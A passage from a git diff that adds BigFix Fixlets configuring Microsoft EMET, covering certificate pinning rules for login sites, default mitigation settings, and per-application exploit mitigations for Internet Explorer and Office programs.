+            <Thumbprint>4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE</Issuer>
+            <SerialNumber>040000000001154B5AC394</SerialNumber>
+            <PublicKeyHash>607B661A450D97CA89502F7D04CD34A8FFFCFD4B</PublicKeyHash>
+            <Thumbprint>B1BC968BD4F49D622AA89A81F2150152A41D829C</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GTE CyberTrust Global Root, OU="GTE CyberTrust Solutions, Inc.", O=GTE Corporation, C=US</Issuer>
+            <SerialNumber>01A5</SerialNumber>
+            <PublicKeyHash>A60C1D9F61FF0717B5BF3846DB4330D58EB05206</PublicKeyHash>
+            <Thumbprint>97817950D81C9670CC34D809CF794431367EF474</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 912198EEF23DCAC40939312FEE97DD560BAE49B1</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>912198EEF23DCAC40939312FEE97DD560BAE49B1</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 5F43E5B1BFF8788CAC1CC7CA4A9AC6222BCC34C6</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>5F43E5B1BFF8788CAC1CC7CA4A9AC6222BCC34C6</Thumbprint>
+          </UniqueCertificateIdentifier>
+        </ReferencedCertificates>
+        <Expiration>09/01/2017 00:00:00</Expiration>
+      </PinRule>
+      <PinRule>
+        <ID>{{cb1e584f-4ad0-4c6f-9239-317d4a07d24c}</ID>
+        <Name>FacebookCA</Name>
+        <ReferencedCertificates>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US</Issuer>
+            <SerialNumber>02AC5C266A0B409B8F0B79F2AE462577</SerialNumber>
+            <PublicKeyHash>B13EC36903F8BF4701D498261A0802EF63642BC3</PublicKeyHash>
+            <Thumbprint>5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>OU=Equifax Secure Certificate Authority, O=Equifax, C=US</Issuer>
+            <SerialNumber>35DEF4CF</SerialNumber>
+            <PublicKeyHash>0F348320A1DA3FD1CB84DC48CBA4D5E19E66841E</PublicKeyHash>
+            <Thumbprint>D23209AD23D314232174E40D7F9D62139786633A</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 7E784A101C8265CC2DE1F16D47B440CAD90A1945</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>7E784A101C8265CC2DE1F16D47B440CAD90A1945</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GeoTrust Global CA, O=GeoTrust Inc., C=US</Issuer>
+            <SerialNumber>023456</SerialNumber>
+            <PublicKeyHash>00F92AC34191B6C9C2B83E55F2C0971113A00720</PublicKeyHash>
+            <Thumbprint>DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint A9E9780814375888F20519B06D2B0D2B6016907D</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>A9E9780814375888F20519B06D2B0D2B6016907D</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GeoTrust Primary Certification Authority, O=GeoTrust Inc., C=US</Issuer>
+            <SerialNumber>18ACB56AFD69B6153A636CAFDAFAC4A1</SerialNumber>
+            <PublicKeyHash>2CD5504197158BF08F36615B4AFB6BD999C93392</PublicKeyHash>
+            <Thumbprint>323C118E1BF7B8B65254E2E2100DD6029037F096</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GeoTrust Primary Certification Authority - G3, OU=(c) 2008 GeoTrust Inc. - For authorized use only, O=GeoTrust Inc., C=US</Issuer>
+            <SerialNumber>15AC6E9419B2794B41F627A9C3180F1F</SerialNumber>
+            <PublicKeyHash>C479CA8EA14E031D1CDC6BDB315B943E3F307F2D</PublicKeyHash>
+            <Thumbprint>039EEDB80BE7A03C6953893B20D2D9323A4C2AFD</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint E621F3354379059A4B68309D8A2F74221587EC79</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>E621F3354379059A4B68309D8A2F74221587EC79</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=thawte Primary Root CA, OU="(c) 2006 thawte, Inc. - For authorized use only", OU=Certification Services Division, O="thawte, Inc.", C=US</Issuer>
+            <SerialNumber>344ED55720D5EDEC49F42FCE37DB2B6D</SerialNumber>
+            <PublicKeyHash>7B5B45CFAFCECB7AFD31921A6AB6F346EB574850</PublicKeyHash>
+            <Thumbprint>91C6D6EE3E8AC86384E548C299295C756C817B81</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=thawte Primary Root CA - G3, OU="(c) 2008 thawte, Inc. - For authorized use only", OU=Certification Services Division, O="thawte, Inc.", C=US</Issuer>
+            <SerialNumber>600197B746A7EAB4B49AD64B2FF790FB</SerialNumber>
+            <PublicKeyHash>AD6CAA94609CEDE4FFFA3E0A742B6303F7B659BF</PublicKeyHash>
+            <Thumbprint>F18B538D1BE903B6A6F056435B171589CAF36BF2</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 85371CA6E550143DCE2803471BDE3A09E8F8770F</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>85371CA6E550143DCE2803471BDE3A09E8F8770F</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=VeriSign Class 3 Public Primary Certification Authority - G3, OU="(c) 1999 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
+            <SerialNumber>009B7E0649A33E62B9D5EE90487129EF57</SerialNumber>
+            <PublicKeyHash>F0115C20ABF0D0FE3D0842EF9571E372C11C1256</PublicKeyHash>
+            <Thumbprint>132D0D45534B6997CDB2D5C339E25576609B5CC6</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=VeriSign Class 3 Public Primary Certification Authority - G5, OU="(c) 2006 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
+            <SerialNumber>18DAD19E267DE8BB4A2158CDCC6B3B4A</SerialNumber>
+            <PublicKeyHash>7FD365A7C2DDECBBF03009F34339FA02AF333133</PublicKeyHash>
+            <Thumbprint>4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=VeriSign Universal Root Certification Authority, OU="(c) 2008 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
+            <SerialNumber>401AC46421B31321030EBBE4121AC51D</SerialNumber>
+            <PublicKeyHash>B677FA6948479F5312D5C2EA07327607D1970719</PublicKeyHash>
+            <Thumbprint>3679CA35668772304D30A5FB873B0FA77BB70D54</Thumbprint>
+          </UniqueCertificateIdentifier>
+        </ReferencedCertificates>
+        <Expiration>09/01/2017 00:00:00</Expiration>
+      </PinRule>
+      <PinRule>
+        <ID>{{1d1e83d9-f876-49ab-bbd6-14c3c7dd6338}</ID>
+        <Name>YahooCA</Name>
+        <ReferencedCertificates>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GTE CyberTrust Global Root, OU="GTE CyberTrust Solutions, Inc.", O=GTE Corporation, C=US</Issuer>
+            <SerialNumber>01A5</SerialNumber>
+            <PublicKeyHash>A60C1D9F61FF0717B5BF3846DB4330D58EB05206</PublicKeyHash>
+            <Thumbprint>97817950D81C9670CC34D809CF794431367EF474</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US</Issuer>
+            <SerialNumber>02AC5C266A0B409B8F0B79F2AE462577</SerialNumber>
+            <PublicKeyHash>B13EC36903F8BF4701D498261A0802EF63642BC3</PublicKeyHash>
+            <Thumbprint>5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GeoTrust Global CA, O=GeoTrust Inc., C=US</Issuer>
+            <SerialNumber>023456</SerialNumber>
+            <PublicKeyHash>00F92AC34191B6C9C2B83E55F2C0971113A00720</PublicKeyHash>
+            <Thumbprint>DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint A9E9780814375888F20519B06D2B0D2B6016907D</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>A9E9780814375888F20519B06D2B0D2B6016907D</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GeoTrust Primary Certification Authority, O=GeoTrust Inc., C=US</Issuer>
+            <SerialNumber>18ACB56AFD69B6153A636CAFDAFAC4A1</SerialNumber>
+            <PublicKeyHash>2CD5504197158BF08F36615B4AFB6BD999C93392</PublicKeyHash>
+            <Thumbprint>323C118E1BF7B8B65254E2E2100DD6029037F096</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=GeoTrust Primary Certification Authority - G3, OU=(c) 2008 GeoTrust Inc. - For authorized use only, O=GeoTrust Inc., C=US</Issuer>
+            <SerialNumber>15AC6E9419B2794B41F627A9C3180F1F</SerialNumber>
+            <PublicKeyHash>C479CA8EA14E031D1CDC6BDB315B943E3F307F2D</PublicKeyHash>
+            <Thumbprint>039EEDB80BE7A03C6953893B20D2D9323A4C2AFD</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint E621F3354379059A4B68309D8A2F74221587EC79</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>E621F3354379059A4B68309D8A2F74221587EC79</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 204285DCF7EB764195578E136BD4B7D1E98E46A5</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>204285DCF7EB764195578E136BD4B7D1E98E46A5</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 61EF43D77FCAD46151BC98E0C35912AF9FEB6311</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>61EF43D77FCAD46151BC98E0C35912AF9FEB6311</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 85371CA6E550143DCE2803471BDE3A09E8F8770F</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>85371CA6E550143DCE2803471BDE3A09E8F8770F</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=VeriSign Class 3 Public Primary Certification Authority - G3, OU="(c) 1999 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
+            <SerialNumber>009B7E0649A33E62B9D5EE90487129EF57</SerialNumber>
+            <PublicKeyHash>F0115C20ABF0D0FE3D0842EF9571E372C11C1256</PublicKeyHash>
+            <Thumbprint>132D0D45534B6997CDB2D5C339E25576609B5CC6</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=VeriSign Class 3 Public Primary Certification Authority - G5, OU="(c) 2006 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
+            <SerialNumber>18DAD19E267DE8BB4A2158CDCC6B3B4A</SerialNumber>
+            <PublicKeyHash>7FD365A7C2DDECBBF03009F34339FA02AF333133</PublicKeyHash>
+            <Thumbprint>4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=VeriSign Universal Root Certification Authority, OU="(c) 2008 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
+            <SerialNumber>401AC46421B31321030EBBE4121AC51D</SerialNumber>
+            <PublicKeyHash>B677FA6948479F5312D5C2EA07327607D1970719</PublicKeyHash>
+            <Thumbprint>3679CA35668772304D30A5FB873B0FA77BB70D54</Thumbprint>
+          </UniqueCertificateIdentifier>
+        </ReferencedCertificates>
+        <Expiration>09/01/2017 00:00:00</Expiration>
+      </PinRule>
+    </PinRules>
+    <PinnedSites>
+      <PinnedSite>
+        <Domain>login.microsoftonline.com</Domain>
+        <PinRuleMember>{{7c7b8b00-ea88-423c-9635-d4f92159aae7}</PinRuleMember>
+        <Active>True</Active>
+      </PinnedSite>
+      <PinnedSite>
+        <Domain>secure.skype.com</Domain>
+        <PinRuleMember>{{7c7b8b00-ea88-423c-9635-d4f92159aae7}</PinRuleMember>
+        <Active>True</Active>
+      </PinnedSite>
+      <PinnedSite>
+        <Domain>www.facebook.com</Domain>
+        <PinRuleMember>{{cb1e584f-4ad0-4c6f-9239-317d4a07d24c}</PinRuleMember>
+        <Active>True</Active>
+      </PinnedSite>
+      <PinnedSite>
+        <Domain>login.yahoo.com</Domain>
+        <PinRuleMember>{{1d1e83d9-f876-49ab-bbd6-14c3c7dd6338}</PinRuleMember>
+        <Active>True</Active>
+      </PinnedSite>
+      <PinnedSite>
+        <Domain>login.live.com</Domain>
+        <PinRuleMember>{{7c7b8b00-ea88-423c-9635-d4f92159aae7}</PinRuleMember>
+        <Active>True</Active>
+      </PinnedSite>
+      <PinnedSite>
+        <Domain>login.skype.com</Domain>
+        <PinRuleMember>{{7c7b8b00-ea88-423c-9635-d4f92159aae7}</PinRuleMember>
+        <Active>True</Active>
+      </PinnedSite>
+      <PinnedSite>
+        <Domain>twitter.com</Domain>
+        <PinRuleMember>{{d9766177-1512-4c48-84e5-e95e44663eed}</PinRuleMember>
+        <Active>True</Active>
+      </PinnedSite>
+    </PinnedSites>
+  </Pinning>
+</EMET>
+_end_
+
+move __createfile defaults.xml
+
+waithidden "{parameter "emetconfexe"}" --import defaults.xml]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Default Mitigation Actions - Windows (20802).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Default Mitigation Actions - Windows (20802).bes
new file mode 100644
index 000000000..d0b006bef
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Default Mitigation Actions - Windows (20802).bes	
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - EMET Rules - Enable Default Mitigation Actions - Windows
+  ID       : 20802
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-06-07T06:30:49
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - EMET Rules - Enable Default Mitigation Actions - Windows</Title>
+    <Description><![CDATA[<P>This policy sets the default mitigations and actions within EMET. Specifically it configures EMET to do the following:</P>
+<P><STRONG>Exploit Action:<BR></STRONG>Kill program on exploit detection</P>
+<P><STRONG>Advanced Settings:<BR></STRONG>Enable DeepHook, AntiDetours, and BannedFunction settings</P>
+<P><STRONG>Reporting:<BR></STRONG>Report Telemetry<BR>Show Tray Icon<BR>Log to Event log</P>
+<P><STRONG>Mitigations</STRONG>:<BR>Application Opt In to DEP<BR>Application Opt In to SEHOP<BR>Application Opt In to ASLR<BR>Enable Certificate Pinning<BR>Audit Untrusted Font Detection</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists file &quot;emet_conf.exe&quot; of folder whose (name of it starts with &quot;EMET&quot;) of program files x32 folder</Relevance>
+    <Relevance><![CDATA[(version of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder) > "5.5.0.0" as version]]></Relevance>
+    <Relevance>((value &quot;AntiDetours&quot; of it != 1 or value &quot;BannedFunctions&quot; of it != 1 or value &quot;DeepHooks&quot; of it != 1 or value &quot;ExploitAction&quot; of it != 1 or value &quot;ReportingSettings&quot; of it != 7) of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET&quot; of native registry) | true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-06-06</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+
+parameter "emetconfexe"="{pathname of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder}"
+
+delete __createfile
+delete defaults.xml
+
+createfile until _end_
+<?xml version="1.0"?>
+<EMET Version="5.5.5871.31890">
+  <Settings>
+    <ExploitAction Value="StopProgram" />
+    <AdvancedSettings DeepHooks="True" AntiDetours="True" BannedFunctions="True" />
+    <Reporting Telemetry="True" TrayIcon="True" EventLog="True" />
+    <SystemSettings DEP="Application Opt In" SEHOP="Application Opt In" ASLR="Application Opt In" Pinning="Enabled" Fonts="Audit" />
+  </Settings>
+</EMET>
+_end_
+
+move __createfile defaults.xml
+
+waithidden "{parameter "emetconfexe"}" --import defaults.xml]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Microsoft Application Mitigations - Windows (20803).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Microsoft Application Mitigations - Windows (20803).bes
new file mode 100644
index 000000000..7d0e82b6d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Microsoft Application Mitigations - Windows (20803).bes	
@@ -0,0 +1,316 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - EMET Rules - Enable Microsoft Application Mitigations - Windows
+  ID       : 20803
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-06-07T06:31:01
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - EMET Rules - Enable Microsoft Application Mitigations - Windows</Title>
+    <Description><![CDATA[<P>This policy sets the default application mitigations for various Microsoft applications within EMET.</P>
+<P>Specifically it configures EMET to detect exploits for the following applications:</P>
+<UL>
+<LI>Access</LI>
+<LI>Excel</LI>
+<LI>InfoPath</LI>
+<LI>Internet Explorer</LI>
+<LI>Lync</LI>
+<LI>Outlook</LI>
+<LI>PowerPoint</LI>
+<LI>Publisher</LI>
+<LI>Visio</LI>
+<LI>Word</LI>
+<LI>WordPad</LI></UL>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists file &quot;emet_conf.exe&quot; of folder whose (name of it starts with &quot;EMET&quot;) of program files x32 folder</Relevance>
+    <Relevance><![CDATA[(version of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder) > "5.5.0.0" as version]]></Relevance>
+    <Relevance>(size of ((set of (&quot;*\Internet Explorer\iexplore.exe&quot;;&quot;*\Windows NT\Accessories\wordpad.exe&quot;;&quot;*\OFFICE1*\OUTLOOK.EXE&quot;;&quot;*\OFFICE1*\WINWORD.EXE&quot;;&quot;*\OFFICE1*\EXCEL.EXE&quot;;&quot;*\OFFICE1*\POWERPNT.EXE&quot;;&quot;*\OFFICE1*\MSACCESS.EXE&quot;;&quot;*\OFFICE1*\MSPUB.EXE&quot;;&quot;*\OFFICE1*\INFOPATH.EXE&quot;;&quot;*\OFFICE1*\VISIO.EXE&quot;;&quot;*\OFFICE1*\VPREVIEW.EXE&quot;;&quot;*\OFFICE1*\LYNC.EXE&quot;;&quot;*\OFFICE1*\PPTVIEW.EXE&quot;;&quot;*\OFFICE1*\OIS.EXE&quot;) - set of names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry) - set of names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry) != 0) | true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-06-06</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+
+parameter "emetconfexe"="{pathname of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder}"
+
+delete __createfile
+delete defaults.xml
+
+createfile until _end_
+<?xml version="1.0"?>
+<EMET Version="5.5.5871.31890">
+  <EMET_Apps>
+    <AppConfig Path="*\Internet Explorer" Executable="iexplore.exe">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="true">
+        <eaf_modules>mshtml.dll;flash*.ocx;jscript*.dll;vbscript.dll;vgx.dll</eaf_modules>
+      </Mitigation>
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="true">
+        <asr_modules>npjpi*.dll;jp2iexp.dll;vgx.dll;msxml4*.dll;wshom.ocx;scrrun.dll;vbscript.dll</asr_modules>
+        <asr_zones>1;2</asr_zones>
+      </Mitigation>
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\Windows NT\Accessories" Executable="wordpad.exe">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="OUTLOOK.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="false" />
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="WINWORD.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="true">
+        <asr_modules>flash*.ocx</asr_modules>
+      </Mitigation>
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="EXCEL.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="true">
+        <asr_modules>flash*.ocx</asr_modules>
+      </Mitigation>
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="POWERPNT.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
+      <Mitigation Name="MandatoryASLR" Enabled="true" />
+      <Mitigation Name="BottomUpASLR" Enabled="true" />
+      <Mitigation Name="LoadLib" Enabled="true" />
+      <Mitigation Name="MemProt" Enabled="true" />
+      <Mitigation Name="Caller" Enabled="true" />
+      <Mitigation Name="SimExecFlow" Enabled="true" />
+      <Mitigation Name="StackPivot" Enabled="true" />
+      <Mitigation Name="ASR" Enabled="true">
+        <asr_modules>flash*.ocx</asr_modules>
+      </Mitigation>
+      <Mitigation Name="Fonts" Enabled="false" />
+    </AppConfig>
+    <AppConfig Path="*\OFFICE1*" Executable="MSACCESS.EXE">
+      <Mitigation Name="DEP" Enabled="true" />
+      <Mitigation Name="SEHOP" Enabled="true" />
+      <Mitigation Name="NullPage" Enabled="true" />
+      <Mitigation Name="HeapSpray" Enabled="true" />
+      <Mitigation Name="EAF" Enabled="true" />
+      <Mitigation Name="EAF+" Enabled="false" />
